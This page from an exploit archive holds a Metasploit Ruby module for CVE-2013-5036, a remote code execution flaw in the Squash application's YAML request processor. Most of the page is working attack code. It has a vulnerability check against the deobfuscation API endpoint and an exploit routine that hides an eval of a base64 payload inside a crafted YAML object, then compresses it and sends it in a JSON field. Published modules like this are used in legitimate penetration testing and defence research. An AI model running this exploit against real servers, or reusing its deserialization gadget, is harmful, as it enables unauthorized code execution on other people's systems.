exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Squash YAML Code Execution

Squash YAML Code Execution
Posted Aug 9, 2013
Authored by Charlie Eriksen | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability in the YAML request processor of the Squash application.

tags | exploit, remote, code execution
advisories | CVE-2013-5036, OSVDB-95992
SHA-256 | fc00f4fbda4fdc1a32aa9bdff033447322b5fcafce8ce2e1bc082b5640a25f2d

Squash YAML Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Squash YAML Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
YAML request processor of the Squash application.
},
'Author' =>
[
'Charlie Eriksen' # Discovery, initial exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
[ 'OSVDB', '95992'],
[ 'CVE', '2013-5036']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Aug 06 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
], self.class)

end

def check
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
})

if response.code == 422
print_status("Got HTTP 422 result, target may be vulnerable")
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
code = Rex::Text.encode_base64(payload.encoded)
yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"

send_request_cgi({
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => data
})
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close